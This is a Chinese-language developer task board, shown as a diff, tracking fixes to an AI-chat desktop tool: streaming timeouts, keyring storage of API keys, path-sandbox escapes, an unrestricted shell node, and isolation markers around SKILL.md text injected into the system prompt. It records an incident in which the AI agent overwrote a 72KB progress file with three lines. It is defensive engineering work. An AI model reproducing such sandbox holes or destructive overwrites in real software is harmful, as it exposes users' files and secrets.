- [ ] AR-8 delta 节流+滚动 — **重评(2026-06-15)**:前端 rAF 节流已被 ARC-08 覆盖(每帧 ≤1 parse);剩后端 50ms 合批(B-260615-02 心跳已动 stream_recv.rs,合批可并入同文件)+ 滚动跟随。降优先级 — stream_recv.rs + AiChat.vue 滚动
|
||||||
- [x] AR-9 ~~friendlyError 硬编码中文~~ ✅ Wave3 完成(friendlyError 全走 i18n.global.t + zh/en 双语补 4 key;TS2589 用 as any 规避 vue-i18n 深度泛型)(commit 9e2aeff)
|
- [x] AR-9 ~~friendlyError 硬编码中文~~ ✅ Wave3 完成(friendlyError 全走 i18n.global.t + zh/en 双语补 4 key;TS2589 用 as any 规避 vue-i18n 深度泛型)(commit 9e2aeff)
|
||||||
- [x] AR-10 ~~想法→灵感迁移残留~~ ✅ 已统一(13 文件批量:i18n zh-CN + 后端错误 + LLM 描述/提示词 + store toast;en 待定 Ideas/Idea、docs 注释低优先略)(commit 65c475b)
|
- [x] AR-10 ~~想法→灵感迁移残留~~ ✅ 已统一(13 文件批量:i18n zh-CN + 后端错误 + LLM 描述/提示词 + store toast;en 待定 Ideas/Idea、docs 注释低优先略)(commit 65c475b)
|
||||||
- [ ] AR-11 数据变更联动刷新(推荐方案A 后端 emit + store 监听)— 跨层 — 详见 [审查第五章](./02-架构设计/aichat-review-2026-06-14.md)
|
- [ ] AR-11 数据变更联动刷新(推荐方案A 后端 emit + store 监听)— 跨层 — 详见 [审查第五章](./02-架构设计/aichat审查报告-2026-06-14.md) — **勘察完成(2026-06-15,wxflofhf2)**:feasible/risk 中/跨 8 文件(audit.rs/commands.rs/tool_registry.rs/stores/project.ts/useAiEvents.ts/Projects/Tasks/ProjectDetail.vue)。方案A 方向合理(emit df-data-changed+entity/action 分类+store listen)但勘察 implPlan 含伪代码错误(std::env::var/.match Rust 不存在=agent 幻觉)+碰 7 近期活跃文件含未提交 P0 改动的 commands.rs。**暂缓**:等本批提交后主代理重设计 emit 点(audit.rs 签名是否有 app_handle 待核查)再派
|
||||||
|
|
||||||
|
### 🔴 aichat API Key 401 排查(2026-06-15)
|
||||||
|
|
||||||
|
> 用户报对话失败「调用失败: API Key 无效或无权限」+ 重设 key 无效。**排查结论:代码链路全对(保存 keyring✓ / 读取 resolve_provider_secret✓ / 鉴权头 openai=Bearer·anthropic=x-api-key✓ / URL 智能拼接✓),401 来自服务端,非 devflow bug**。根因四选一(key 无效 / provider_type 不匹配 / base_url 错 / model 名错)。详见 [aichat-apikey-401排查-2026-06-15.md](./09-问题排查/aichat-apikey-401排查-2026-06-15.md)。
|
||||||
|
|
||||||
|
- [ ] S-260615-01 — **[待用户确认根因]** 用户跑直连测试(curl)区分 key/provider_type/base_url/model 哪项错,见详情文档「验证步骤」
|
||||||
|
- [x] B-260615-01 ✅ wave(2026-06-15,待commit) — ~~Err 分支加诊断~~ 提取纯函数 `fmt_diag`+`extract_error_diag`(name/status_or_class/timeout·connect 分类,14 单测);约束:LlmProvider trait 无 base_url/endpoint,仅 name() 近似 provider_type(provider_type + 实际请求 url + HTTP 状态码),当前只透传服务端文本看不出端点,401 难定位 — stream_recv.rs:107-113
|
||||||
|
|
||||||
|
### 🔴 流式响应中断误报排查(2026-06-15)
|
||||||
|
|
||||||
|
> 现象:AI 工具(write_file 等)执行成功(文件真写入 14.8KB),前端却弹「⚠ 响应中断(长时间无数据流)」误报,用户误以为失败重发。**根因(架构层,非偶发)**:工具执行后 agent loop 进入下一轮 LLM 请求,**等首 chunk 的静默期无心跳**——后端 `stream_recv.rs:113` idle timeout 用 `tokio::time::timeout(120s, stream.next())` 被动等 chunk,静默期不发任何事件;前端 `useAiEvents.ts:115` watchdog 仅靠事件 reset,130s 无事件 → `onStreamTimeout` 误报。触发条件:**write_file 工具本身毫秒级本地写,不超时**;「响应中断」发生在写入完成后、下一轮 LLM 回复到来前的静默期 > 130s。静默源待后端日志定:① LLM 续生成首 token 慢(GLM 处理含新写文档的长 context)② agent loop 异常退出漏发 AiCompleted/AiError ③ 事件丢失(broadcast Lagged)。**核心缺陷**:静默期无心跳,前端无法区分「LLM 在跑」vs「真断」,统一报中断。**额外**:前端 watchdog 130s < 后端总等待(connect_timeout 30s + idle 120s = 150s),可能前端先误报而后端连接仍健康,违背 watchdog「后端先报真错、前端仅兜底漏发」初衷。文件写入是工具独立副作用,与流是否健康无关。链路:`agentic.rs:139` stream_llm 返回 → `:202` process_tool_calls(快)→ loop 下轮 stream_llm 发新请求 → 静默等首 chunk。
|
||||||
|
|
||||||
|
- [x] B-260615-02 ✅(批1,2026-06-15) — **[P1 体验]** 流式静默期心跳(治本)。修法:`stream_recv.rs:113` `tokio::time::timeout(STREAM_IDLE_TIMEOUT, stream.next())` → `tokio::select!`,加 `heartbeat.tick()`(30s)分支 emit `AiChatEvent::AiHeartbeat { conversation_id }`;`AiChatEvent` 枚举(ai/mod.rs)+ `api/types.ts` 加 variant;前端 `useAiEvents.ts:115` reset 条件已自动覆盖新事件类型(零改动)。真断连时 120s 无 chunk 仍 emit AiError(现有逻辑保留)— stream_recv.rs:113 + src-tauri/src/commands/ai/mod.rs AiChatEvent + src/api/types.ts
|
||||||
|
- [x] B-260615-03 ✅(批4,2026-06-15) — **[P2 治标]** `onStreamTimeout` 文案区分:触发时检查最后是否有 `completed` 工具调用,有 →「工具已执行完成,后续回复中断,可点继续」;无 → 原「响应中断」— src/composables/ai/useAiStream.ts:21-33
|
||||||
|
|
||||||
|
### 🟠 流式可靠性链路隐患核对(2026-06-15)
|
||||||
|
|
||||||
|
> 系统性精读流式链路(stream_recv.rs / useAiSend.ts / agentic.rs / audit.rs / secret.rs)+ 1 Explore 代理广扫。**去重代理 10 条臆测/设计误判**(`_startPromise finally`伪竞态 / `stopChat`本地复位=AR-5 设计 / `sanitize`仅持久化视图=B-260614-AC3 设计 / `join_all`并行非阻塞 / `resolve_provider_secret` DB 优先=FR-S1 兼容老库设计 单测:114 锁定),确认 4 条真隐患(心跳见 B-260615-02 不重复)。**注**:B-260615-04 与 B-260615-02 同改 `stream.next()` → `select!`,可一次性合并实施。
|
||||||
|
|
||||||
|
- [x] B-260615-04 ✅(批1,2026-06-15) — **[P1]** stop 响应延迟最差 120s。`stream_recv.rs:107` `stop_flag.load()` 在 `tokio::time::timeout(120s, stream.next())` **之前**检查;用户点停止时若正阻塞在 `stream.next()` 等 chunk,要等 chunk 到或 120s idle timeout 才轮到下次 stop_flag 检查。修法:`stream.next()` 改 `tokio::select!` 加 stop_flag 轮询分支(或 `tokio::sync::Notify`),stop 即时打断 — stream_recv.rs:105-120
|
||||||
|
- [x] B-260615-05 ✅(批1,2026-06-15) — **[P1]** 流尽 + 空内容 + 无 finished 静默成功。`stream_recv.rs:178` `if !finished_received && (!full_text.is_empty() || !tool_calls_acc.is_empty())` 才报错;空内容无 finished 不报错返回 `Some(空)` → `agentic.rs:197` `!has_tool_calls` break → 正常 emit AiCompleted,**用户看空回复无错误提示**。修法:流尽未收 finished 一律判异常 emit AiError(不区分内容空否),不静默成功 — stream_recv.rs:177-186
|
||||||
|
- [x] B-260615-06 ✅(批4,2026-06-15) — **[P2]** sendMessage IPC 失败未清 watchdog。`useAiSend.ts:70-76` catch 回滚 streaming + 移除空气泡,但 :61 启动的 watchdog 未 `clearStreamWatchdog()`;130s 后 `onStreamTimeout` 触发 push 假错误消息(streaming 已 false 无状态危害,但错误气泡误导用户)。修法:catch 补 `clearStreamWatchdog()` — useAiSend.ts:70-76
|
||||||
|
- [x] B-260615-07 ✅(批4,2026-06-15) — **[P2]** approveToolCall 乐观置 running 无兜底。`useAiSend.ts:80-98` 审批 IPC 后等后端事件转 completed/rejected,后端异常不回则按钮永久 `running`;审批态 watchdog 已 clear(`useAiEvents.ts:162`)无心跳兜底。修法:approve 后重启 watchdog(`resetStreamWatchdog`)覆盖审批执行→续生成窗口,或加审批专用超时 — useAiSend.ts:80-98
|
||||||
|
- [x] B-260615-08 ✅(批1,2026-06-15) — **[P0 用户可感]** 审批通过后对话卡死(create_task 等审批工具通过、任务创建成功后对话不再响应)。链路:`commands.rs:147-189` 审批执行成功 + tool_result 回填 + emit AiToolCallCompleted/AiApprovalResult → `:187 try_continue_agent_loop`(agentic.rs:255)→ spawn 新 loop。**根因方向(静默 return,待后端日志精确)**:`try_continue` + `run_agentic_loop` 多个 return 点**不 emit 收尾事件** → 前端 streaming=true 永久卡:①`agentic.rs:261` `should_continue=false`(generating 被复位 / pending_approvals 非空)静默 return ②`:263-266` `get_active_provider Err(_) => return` 静默无事件 ③spawn 后 stream_llm 空回复静默成功(见 B-260615-05)/ LLM 不响应 120s idle→AiError(会报错非静默)。**watchdog 兜底延迟**:审批态 watchdog 被 clear(useAiEvents.ts:162 AiApprovalRequired),审批通过 AiApprovalResult reset 130s,静默 return 后最长 130s 才 `onStreamTimeout` 兜底(用户感「卡住」即此窗口)。**修法方向**:①try_continue 所有 return 点显式 emit AiError/AiCompleted 收尾(get_active_provider Err / should_continue false 均不静默)②前置依赖 B-260615-05(空回复不静默成功)③可配合 B-260615-02 心跳缩短感知延迟。— source:用户报障(06-15),src-tauri/src/commands/ai/commands.rs:187 + src-tauri/src/commands/ai/agentic.rs:255-291 + src/composables/ai/useAiEvents.ts:161-162
|
||||||
|
|
||||||
### 🟣 全栈审查待修项(2026-06-14)
|
### 🟣 全栈审查待修项(2026-06-14)
|
||||||
|
|
||||||
> 5 代理并行审查 Rust+Tauri+Vue 全栈(~25k 行)产出,详见 [fullstack-review-2026-06-14.md](./05-代码审查/fullstack-review-2026-06-14.md)。已去重:条件引擎/路径 canonicalize/localStorage 已在本看板他处记录;`do_promote` 误判已澄清(IPC 层真建项目,crate 留 TODO)。
|
> 5 代理并行审查 Rust+Tauri+Vue 全栈(~25k 行)产出,详见 [全栈代码审查报告-2026-06-14.md](./05-代码审查/全栈代码审查报告-2026-06-14.md)。已去重:条件引擎/路径 canonicalize/localStorage 已在本看板他处记录;`do_promote` 误判已澄清(IPC 层真建项目,crate 留 TODO)。
|
||||||
|
|
||||||
**P0 — 安全**
|
**P0 — 安全**
|
||||||
- [ ] FR-S1 api_key 明文三连(DB 明文落盘 + IPC 传明文 + 前端仅 mask)— migrations.rs:445 / commands.rs:299 / Settings.vue:53 — 建议 OS keychain(`keyring` crate)+ list 返回 mask 占位
|
- [x] FR-S1 ~~api_key 明文三连~~ ✅ **完全修**(2026-06-15 安全批次):IPC list 返回 mask(首尾4+••••) + 编辑 apiKey 空→保留原DB值 + 前端 realm 不持明文;**DB 明文已迁移 keyring**(secret.rs:DB api_key 恒空 + OS keyring 存真实密钥 + 启动一次性迁移;消费点 resolve_provider_secret 兼容老库;cargo check ✓) — commands.rs ai_list_providers/ai_save_provider + Settings.vue — ⚠️删除闭环漏清(2026-06-15 审查发现):ai_delete_provider 未调 delete_provider_secret,keyring 残留,见 [CR-260615-01](#-近期改动审查待修项2026-06-15)
|
||||||
- [x] FR-S2 ~~read_file TOCTOU + write 无限制~~ ✅ read 单次 File::open 取 metadata+read 消 TOCTOU + write 加 1MB 上限(commit 5367f19)
|
- [x] FR-S2 ~~read_file TOCTOU + write 无限制~~ ✅ read 单次 File::open 取 metadata+read 消 TOCTOU + write 加 1MB 上限(commit 5367f19)
|
||||||
- [x] FR-S3 ~~approve decision 无校验~~ ✅ 加 decision 非空校验(防 "" 透传;HumanNode options 非空时还校验 ∈ options)(commit 698a874)
|
- [x] FR-S3 ~~approve decision 无校验~~ ✅ 加 decision 非空校验(防 "" 透传;HumanNode options 非空时还校验 ∈ options)(commit 698a874)
|
||||||
|
- [x] FR-S7 ✅ 已修(2026-06-14 安全批次):write_file 加 .bak 备份 + tmp→rename 原子写 + 缩减>90% tracing::warn! + 返回 old_size;cargo check ✓。原:write_file 覆盖已有非空文件无确认/备份(**2026-06-14 实测事故**:会话3473fcb7 AI 误把 write_file 当 edit 用,只传头部3行把 PROGRESS.md 762行/72KB 覆盖成248字节;FR-S2 的1MB上限防不了此场景)— tool_registry.rs write_file handler — 修法:覆盖非空文件前自动备份 .bak 或检测目标存在强制走 edit_file;写入后返回新旧大小对比,差异巨大时 warn
|
||||||
|
- [x] FR-S8 ✅ 部分修(2026-06-14 安全批次):主体 ①② T-260614-04 resolve_workspace_path 双层校验已修,③ Windows Rust std Path::starts_with 已大小写不敏感(虚报),残余 list_dir_recursive entry.file_type() 替 metadata 防 symlink 跟随逃逸目标信息 + 不递归 symlink;cargo check ✓。原:**路径 sandbox 系统性逃逸**(2026-06-14 走查,审查报告 §10):①validate_path 子串 `..` 检测对绝对路径无效 ②canonicalize 仅覆盖已存在路径(write_file 新建 + symlink 父目录漏)③Windows starts_with 大小写敏感坑 — tool_registry.rs:19-21,53-69 — 修法:统一 canonicalize(不存在取最长存在前缀)+ 大小写不敏感 prefix 比较 + parent 校验 + symlink 不跟随(file_type 替 metadata)
|
||||||
|
|
||||||
**P1 — 体验/竞态**
|
**P1 — 体验/竞态**
|
||||||
- [x] FR-R1 ~~switchConversation 无切换 token~~ ✅ 加 _latestSwitchId 丢弃过期响应(commit 698a874)
|
- [x] FR-R1 ~~switchConversation 无切换 token~~ ✅ 加 _latestSwitchId 丢弃过期响应(commit 698a874) + wave(2026-06-15,待commit)补第二 await(`pendingToolCalls`)后二次比对 `useAiConversations.ts:108`,防 A→B 快切用 A 的 pending 覆写 B
|
||||||
- [x] FR-R2 — **[降级存疑]** 看门狗主/分离窗口互踩 — 审批态已 clearStreamWatchdog(useAiEvents:143)+分离窗口独立 realm 不共享 state,"互踩"前提不成立,评估维持
|
- [x] FR-R2 — **[降级存疑]** 看门狗主/分离窗口互踩 — 审批态已 clearStreamWatchdog(useAiEvents:143)+分离窗口独立 realm 不共享 state,"互踩"前提不成立,评估维持
|
||||||
- [x] FR-R3 ~~liveEvents 无限增长~~ ✅ push 后限长 200 条(commit 8dbe3d2)
|
- [x] FR-R3 ~~liveEvents 无限增长~~ ✅ push 后限长 200 条(commit 8dbe3d2)
|
||||||
- [x] FR-C1 ~~formattedEvents 时间漂移~~ ✅ 事件入数组固 _ts(project.ts push + ProjectDetail 用 _ts)(commit cf18678)
|
- [x] FR-C1 ~~formattedEvents 时间漂移~~ ✅ 事件入数组固 _ts(project.ts push + ProjectDetail 用 _ts)(commit cf18678)
|
||||||
- [x] FR-C2 ~~net_sentiment 矛盾~~ ✅ 统一三档(模板>0/<0/===0 + sentimentClass 同源 + i18n neutral)(commit cf18678)
|
- [x] FR-C2 ~~net_sentiment 矛盾~~ ✅ 统一三档(模板>0/<0/===0 + sentimentClass 同源 + i18n neutral)(commit cf18678)
|
||||||
|
|
||||||
**P2 — 其余(见审查报告 §2-6)**
|
**P2 — 其余(见审查报告 §2-6)**
|
||||||
- [ ] FR-S4 SKILL.md 全文注入 system prompt 缺隔离标注 — commands.rs:67
|
- [x] FR-S4 ✅ wave4(36d68dd) SKILL.md 注入加头尾成对标注(仅供 AI 参考/非用户消息/技能说明结束)
|
||||||
- [x] FR-S5 — **[降级文档]** ai_approve 无对话归属校验属实,但 UI 隔离+restore 只载当前对话历史限制实际触发,本地单机低危,降级为文档说明(审批不严格按对话隔离,设计取舍)
|
- [x] FR-S5 — **[降级文档]** ai_approve 无对话归属校验属实,但 UI 隔离+restore 只载当前对话历史限制实际触发,本地单机低危,降级为文档说明(审批不严格按对话隔离,设计取舍)
|
||||||
- [ ] FR-R4 complete() 同步路径无超时无重试,远端静默挂死整轮对话 — openai_compat.rs:230
|
- [x] FR-R4 ✅ wave4(36d68dd) complete() 加 60s 单请求 timeout + is_timeout 中文错误(不影响 stream)
|
||||||
- [x] FR-C3 ~~Settings timer 泄漏~~ ✅ onUnmounted 清全部三个 timer(commit cf18678)
|
- [x] FR-C3 ~~Settings timer 泄漏~~ ✅ onUnmounted 清全部三个 timer(commit cf18678)
|
||||||
- [x] FR-C4 ~~MIGRATION_VERSION 死常量~~ ✅ 删(零代码引用,run() if 链自管版本)(commit cf18678)
|
- [x] FR-C4 ~~MIGRATION_VERSION 死常量~~ ✅ 删(零代码引用,run() if 链自管版本)(commit cf18678)
|
||||||
- [x] FR-C5 ~~AiConversationDetail 缺 readonly~~ ✅ 加 readonly?: boolean(commit cf18678)
|
- [x] FR-C5 ~~AiConversationDetail 缺 readonly~~ ✅ 加 readonly?: boolean(commit cf18678)
|
||||||
- [ ] FR-P1~P6 / FR-D1~D5 性能+重构项(dag O(V·E)、search_vector SELECT *、单连接 Mutex、findToolCall O(n)、confirmDialog 4 处重复、migrations if 链)— 见报告 §5-6
|
- [x] FR-D1/D2/D4/D5/R5 ✅ wave5/6 部分完成(4a95f6a/4b5f096):dag O(V+E) 建 adjacency 索引 / search_vector 显式 14 列 / replace_tool_result_content 反向 rposition / useConfirm 抽 4 视图 / 前端 findToolCall 反向遍历
|
||||||
|
- [ ] FR-D3 / FR-P1~P6 剩余性能项(单连接 Mutex、migrations if 链、tool_registry truncate(50)+注释散落提常量等)— 见报告 §5-6
|
||||||
|
- [x] FR-D6 ✅ ~~任务工具集不完整(缺 delete_task/update_task)~~(commit 36d68dd 补全):tool_registry.rs 现有 create_task(:241) + update_task(:265) + delete_task(:287,硬删对齐 commands::task::delete_task,注释「清理孤儿任务时务必用本工具,不要误用 delete_project」) + list_tasks(:140) 四工具齐全。
|
||||||
|
- [x] FR-D7 ✅ wave4(36d68dd) 抽 `bind_dir_to_project(repo, id, path, stack_opt)`,create_project/bind_directory 共用,删原 :171 TODO;主代理核查补回 create_project 响应 stack 字段
|
||||||
|
- [x] FR-D8 ✅ wave4(36d68dd) create_idea schema 补 priority(可选 integer) + 魔法数字默认值注释(idea=1/task=2 与 IPC default_priority 对齐)
|
||||||
|
|
||||||
|
### 🔴 近期改动审查待修项(2026-06-15)
|
||||||
|
|
||||||
|
> 工作区 FR-S1/S7/S8 + 近 5 提交审查(主代理 + 2 子代理并行),详见 [近期改动代码审查-2026-06-15.md](./05-代码审查/近期改动代码审查-2026-06-15.md)。共 🔴1 🟡7 ⚪5。
|
||||||
|
> **注**:① 推翻 todo:74 FR-S1「完全修」——密钥迁移/读取/写入闭环全对,但**删除路径漏清 keyring**(secret.rs:44 有 delete_provider_secret,ai_delete_provider 未调用)。
|
||||||
|
|
||||||
|
**P1 — 安全闭环**
|
||||||
|
- [x] CR-260615-01 ✅ wave(2026-06-15,待commit) — ~~删 provider 漏清 keyring~~ commands.rs:394-399 DB 删后调 `delete_provider_secret` + warn 不阻断(keyring entry 永久残留,同用户进程可读;同 id 复用旧密钥复活)— commands.rs:390-401 — 修法:删 DB 后调 `delete_provider_secret`(失败仅 warn 不阻断,DB 已删则残留 keyring 无消费方)
|
||||||
|
|
||||||
|
**P2 — DRY/收口**
|
||||||
|
- [x] CR-260615-02 ✅ wave(2026-06-15,待commit) — ~~AiChat.vue 第五份 confirm 未迁 useConfirm~~ 实为本地 confirm 状态机(confirmState+confirmDialog+answerConfirm)与 useConfirm 同构未复用,迁后复用 composable,行为零变化;AiChat.vue:371-374
|
||||||
|
- [~] CR-260615-03 ✅ wave(2026-06-15,待commit) — 低风险子项收口:**已做 3** = `.bak·.tmp-write 噪音过滤`(tool_registry.rs:535 加 `is_noise_file` 后缀过滤+`list_dir_recursive` 跳过,默认 skip_noise=true 已开)+`COLS 列数断言`(crud.rs:KNOWLEDGE_COLS/COL_COUNT/COLS_WITH_EMBEDDING 模块级常量+test 断言 14/15 列)+`R-PD-11 抽 find_path_conflict`(见下);**已解跳过 1** = dag·executor 邻接表非重复(executor 用 `adjacency_in` 前驱表,dag.topological_layers 用 `adjacency_out` 后继表方向不同;`Dag::predecessors/successors` 已无调用方属死码清理归 ARC);**未做留 todo** = projectNameById 改 find(无此函数,audit.rs:45 `resolve_project_label` 已用 repo.get_by_id O(1) 查询,反模式不存在);audit.rs Err 误报 / openai source 丢失 / ToolCard id 类型归一(行为变更或前端,不在本批)
|
||||||
|
|
||||||
|
**P2 — 块级 memo 实施走查(ARC-260615-08,2026-06-15)**
|
||||||
|
- [ ] CR-260615-04 — splitBlocks 手写正则切块改 `marked.lexer()`(`/```[^\n]*\n[\s\S]*?(?:```|$)/g` 不要求行首 + 固定 3 backtick,与 marked 围栏规则不一致;行中裸 ``` / 4+ backtick 嵌套围栏切错,前块缓存固化错误 html;机制2原生=lexer)— AiChat.vue splitBlocks — 详见 [自研块级memo流式渲染审查-2026-06-15.md](./05-代码审查/自研块级memo流式渲染审查-2026-06-15.md) ①
|
||||||
|
- [x] CR-260615-05 ✅(wcvigw3z4批,2026-06-15,待commit) — ~~parseBlock/parseBlockNoCache DRY~~ parseBlock 内部改调 parseBlockNoCache 去重(原 _purify.sanitize(_marked.parse()) 两处重复收敛为一处),行为零变化 — AiChat.vue
|
||||||
|
- [ ] CR-260615-06 — loadMarkdown 就绪后流式不主动重算(mdReady 翻转后 scheduleStreamParse 只在 currentText 变化触发;首屏 marked 慢 + 无新 delta → 末段停留纯文本)— AiChat.vue loadMarkdown — 同上 ③
|
||||||
|
- [x] CR-260615-07 ✅(wcvigw3z4批,2026-06-15,待commit) — ~~_blockCache LRU+escapeHtml 抽~~ _blockCache 超 limit 由整体 clear 改删最早一条(Map.keys().next().value LRU 语义,边界 > 改 >= 防超限)+escapeHtml+replace 两处重复抽 escapeFallback 函数(renderStreamingMd/renderMd 兜底均调),行为零变化 — AiChat.vue
|
||||||
|
|
||||||
|
### 🟦 架构审查待修项(2026-06-15)
|
||||||
|
|
||||||
|
> 纯架构层评估(边界/依赖/抽象/扩展性/状态管理),详见 [架构审查-2026-06-15.md](./05-代码审查/架构审查-2026-06-15.md)。共 🔴6 🟡6 ⚪4 + 亮点 6。与 06-14 三份报告去重(不重复 bug/性能 FR-*、aichat AR-*)。
|
||||||
|
|
||||||
|
**立即(零风险减法)**
|
||||||
|
- [x] ARC-260615-01 ✅ wave(2026-06-15,待commit) — ~~删 `stores/settings.ts` mock 死代码~~ grep 验零消费者 + 删文件 + index.ts 清导出 + 清 appSettings.ts:8 过时注释
|
||||||
|
- [x] ARC-260615-02 ✅(2026-06-15,待commit) — ~~`/decisions` 路由死链~~ 删 nav 项(App.vue secondaryNav)+ 删 `nav.decisions` i18n key(zh/en)。决策治理 = F-260614-08 长期项未实现,入口提前占位成死链;`dashboard.recentDecisions`(Dashboard.vue)不同命名空间保留
|
||||||
|
|
||||||
|
**短期(低成本)**
|
||||||
|
- [ ] ARC-260615-03 — **重评降级(2026-06-15)**:df-execute **非空壳**——shell.rs `execute()` 已完整实现(cmd/sh 跨平台 + kill_on_drop + timeout + env)+ 被 tool_registry.rs `run_command` 复用(F-260615-05)。原 todo「76 行/1 函数 + TODO」基于 lib.rs 空判,过时。合并进 df-nodes 破坏职责分离(节点定义 vs 执行运行时)+ 动依赖树,**转架构维护决策,非清债**
|
||||||
|
- [x] ARC-260615-04 ✅ wave(2026-06-15,待commit) — ~~`stores/index.ts` 补 `export useAiStore`~~ barrel 补导出(3 处 view 直连可选迁移,非强制)
|
||||||
|
|
||||||
|
**中期(技术债)**
|
||||||
|
- [ ] ARC-260615-05 — `stores/project.ts` 上帝 store 拆分(四领域+越层 invoke:`approve_human_approval`/`cancel_workflow_node` 应沉 `api/workflow.ts`,全项目仅此 store 越层)
|
||||||
|
- [ ] ARC-260615-06 — `composables/ai/` 6 文件为拆而拆(events↔stream 循环依赖 useAiEvents.ts:18↔useAiStream.ts:12)— 合回 `stores/ai.ts` 或提 `aiShared.ts` 破环
|
||||||
|
- [ ] ARC-260615-07 — 其余见文档:df-core 改名 df-types(类型库非核心)/ src-tauri IPC 编排层抽取(df-app,5711 行成事实业务层) / AI agent loop 从 IPC 下沉 df-ai / 3 view 绕 store 调 api / 类型契约 ts-rs 代码生成 / AiSession 多会话(B 路线前置) / AppState 分组 / IPC 命名统一
|
||||||
|
|
||||||
|
**渲染优化(自研块级 memo 已实施,2026-06-15)**
|
||||||
|
- [x] ARC-260615-08 ✅(2026-06-15,待commit) — **[渲染优化·自研块级 memo 已实施]** 流式 Markdown 渲染——保留 marked+DOMPurify+.ai-md 原样式不动,借鉴方案D流式核心(块级 memo:splitBlocks 代码围栏整体一块/非代码双换行切 → 前块缓存命中 O(末块) + 末块不缓存处理未闭合 token + rAF 节流合并多 delta 一帧)。退役 AR-1 纯文本短路 — 关联 AR-1 — 详见 [aichat流式Markdown渲染调研-2026-06-15.md](./02-架构设计/aichat流式Markdown渲染调研-2026-06-15.md) 【决策转向:先试方案D(markstream-vue@1.0.1 接入+vue-tsc 通过),但样式100%还原 .ai-md 成本高且脆(代码块 .code-block-container chrome / 暗色 --ms-* 变量 / prose .markstream-vue 作用域 4 处对接,随库升级漂移),用户优先原样式,转自研块级 memo——零样式对接(marked 输出标准 HTML + .ai-md 全覆盖) + D 级流式性能(O末块)。已实施:splitBlocks/parseBlock(memo)/parseBlockNoCache(末块)/renderStreamingMd/scheduleStreamParse(rAF)/renderContent + watch currentText→scheduleStreamParse/streaming 翻转清 rAF + onBeforeUnmount 清 rAF + 回退 markstream 依赖恢复 marked/dompurify + vue-tsc exit 0;留后续:dev 运行时流式验证(掉帧/长回答边界/末块未闭合表现)】
|
||||||
|
|
||||||
|
### 🔵 全局代码 review 待修项(2026-06-15)
|
||||||
|
|
||||||
|
> 7 维度并行深入扫(DRY/架构/潜在bug/简洁性/安全/AI可靠/工作流引擎),详见 [全局代码review-2026-06-15.md](./05-代码审查/全局代码review-2026-06-15.md)。
|
||||||
|
> **P1 可执行 6 + P2 可执行 13 已全闭环**(批1/2/3 主代理独立核查 cargo workspace exit 0 + 5 crate test 共 126 passed)。下为**需设计**待立项项(R-PD-3 条件引擎去重 T-260614-11)。
|
||||||
|
|
||||||
|
**P1 需设计(进设计文档)**
|
||||||
|
- [x] R-PD-1 ✅(批2,2026-06-15) — **[P1 security]** 编辑 provider 空 api_key 默默清 DB 明文致密钥永久丢失(未迁移态 keyring 空 + DB 非空时改 name/base_url 触发)— `commands.rs` ai_save_provider:329-355 + crud.rs INSERT OR REPLACE 全字段覆盖 — 修法:空 api_key 时确认 keyring 有/DB 有再清,keyring 无且 DB 非空先即时迁移补密钥 — source:全局review §P1需设计
|
||||||
|
- [x] R-PD-2 ✅(批2,2026-06-15) — **[P1 security]** run_workflow 经 ScriptNode 执行前端任意 shell(无白名单/无工作目录锚定/无审批,独立于 AI 工具 RiskLevel 链)— `workflow.rs`:36-44 + `script_node.rs`:34-42 + `shell.rs` — 修法三选一:①state.rs build_registry 不注册 'script' 掐断 ②限定工作目录在绑定项目 path 内 + 高危命令走 HumanNode 审批 ③ScriptNode 命令白名单 — source:全局review §P1需设计
|
||||||
|
|
||||||
|
**P2 需设计**
|
||||||
|
- [x] R-PD-4 ✅(P0批,2026-06-15,待commit) — ~~keyring 迁移失败阈值警告~~ MIGRATION_FAIL_THRESHOLD=3(sidecar .devflow-keyring-failcount 跨启动持久化 provider_id=count)+read/write/record/clear_migration_failcount 辅助+migrate_secrets_to_keyring 失败分支 record_migration_fail 达阈值升级 warn(明文滞留风险+3 条排查建议)+成功 clear 清零;不改兼容时序(仍保留明文下次重试) — secret.rs
|
||||||
|
- [x] R-PD-5 ✅(P0批,2026-06-15,待commit) — ~~approve IPC 校验 decision∈options~~ 加 options:Vec<String> 参数(前端从 HumanApprovalRequest 事件透传,IPC 无法访问节点 config)+校验 options 非空且 decision∉options→Err「审批决策非法」(规则同 HumanNode 下游兜底);✅闭环(wcvigw3z4):前端 stores/project.ts:259 补传 options(state.pendingApproval.options ?? [] 从 HumanApprovalRequest 事件 payload 取),触发后端 decision∈options 校验 — workflow.rs
|
||||||
|
- [ ] R-PD-6 — AiSession 单例:try_continue 读 active_conversation_id 竞态(靠 switch readonly 间接保护,脆弱耦合)— `agentic.rs`:255-291 从 pending_approvals 取 conversation_id 解耦
|
||||||
|
- [x] R-PD-7 ~~LlmProvider trait 抽象缺口:name() 语义错位 + supported_features/ProviderFeatures 死代码~~ ✅ 已修(删 ProviderFeatures + supported_features trait 方法 + 两 provider impl;补 endpoint() 默认方法供 401/网络错误诊断,两 provider override 返真实端点;name() 语义错位单独立项不改)
|
||||||
|
- [ ] R-PD-8 — AiProviderRecord 整条穿透 IPC 边界(DB schema 演进直接破坏前端契约,models 字段 provider 返串/conversation 返数组不一致)— `commands.rs`:282-295 定义 ProviderDto/ConversationSummary 映射层
|
||||||
|
- [ ] R-PD-9 — 命令层臃肿(agentic loop/tool_registry 717 行/audit reason 映射堆 commands/ai,无法被 df-nodes/AiNode 复用)— 最小起步 audit 工具名→文案映射作 display_hint 注册进 AiToolRegistry(消除双份);agentic loop 下沉 df-ai 较大进 todo
|
||||||
|
- [ ] R-PD-10 — .map_err(\|e\| e.to_string()) 10 文件 85 处复制(强类型 Error 拍平成自由文本,分类信息丢弃)— 全 commands/ 加 err_str helper 统一日志点
|
||||||
|
- [x] R-PD-11 ✅ wave(2026-06-15,待commit) — ~~目录防重复绑定逻辑两处重复~~ 抽 `ProjectRepo::find_path_conflict`(`df-storage/crud.rs:575`,接收已规范化 target+exclude_id,内含 list_active+排除+规范化比较);两处 use 替换:`project.rs::find_binding_conflict` 委托(去 inline find)+`tool_registry.rs::bind_dir_to_project` 委托(去 for 循环);路径规范化复用 `df_project::scan::normalize_path`(df-storage 不依赖 df-project,故本 crate 镜像同算法 `normalize_stored_path` 比较存库路径,已注明须同步)
|
||||||
|
- [ ] R-PD-12 — run_workflow AI 工具 no-op 桩但 prompt/audit/ToolCard 当真实能力宣传(LLM 调用走审批拿空结果,体验断裂)— `tool_registry.rs`:383-390 + `prompt.rs`:57 + `audit.rs`:120-123 + ToolCard.vue:367 删假能力 or 真接线(与 R-PD-2 协同)
|
||||||
|
